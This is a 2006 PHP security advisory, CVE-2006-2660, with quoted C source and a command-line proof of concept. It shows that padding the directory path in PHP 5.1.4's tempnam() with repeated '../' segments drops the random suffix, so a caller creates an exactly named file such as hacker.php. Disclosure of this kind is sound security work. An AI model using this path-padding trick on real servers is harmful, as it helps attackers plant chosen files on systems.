tempnam() Bypass unique file name PHP 5.1.4 ( Research Advisory )

Advisory Text :

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[tempnam() Bypass unique file name PHP 5.1.4]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 22.5.2006
- -Public: 11.6.2006
from SECURITYREASON.COM
CVE-2006-2660

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of
the PHP Conference Material is freely available.
tempnam -- Create file with unique file name.

- --- 1. tempnam() Bypass unique file name ---
In lastes adv i have public an issue "Open Basedir Bypass". In function
tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

In PHP 5.1.4 exists bug that allows you to create file with any name.

- ---
cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'
/www/temp/hacker.phpGQMqSE
- ---

You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically
added to filename.
Problem exists, because path couldn't be longer than MAXPATHLEN. In
standard MAXPATHLEN is 1024B.

- -771-805---
PHP_FUNCTION(tempnam)
{
zval **arg1, **arg2;
char *d;
char *opened_path;
char *p;
int fd;
size_t p_len;

if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);

if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}

d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));

php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len
TSRMLS_CC);
if (p_len > 64) {
p[63] = '\0';
}

if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {
close(fd);
RETVAL_STRING(opened_path, 0);
} else {
RETVAL_FALSE;
}
efree(p);
efree(d);
}
- -771-805---

So if you create path like /www/../www/.. etc.

arg1+arg2=1023

uniqueid is not given to path.

Example:

- ---
cxib# php -r 'echo
tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../ww
w/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/..
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/..
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/
../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/
../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ww
w/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/..
/www/../www/../www/../www/../www/temp/hacker.php
- ---

= /www/temp/hacker.php

- ---
cxib# ls -la /www/temp/hacker*
- -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php
- -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE
- ---

- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec ;]

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)

iD8DBQFEjGMW3Ke13X/fTO4RAl50AKCH7H7pDtfjTLcZ02+izd3P25fkvACfS7tK
tTnC41pJ3aQEAEvt580AqI0=
=ZfrH
-----END PGP SIGNATURE-----

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason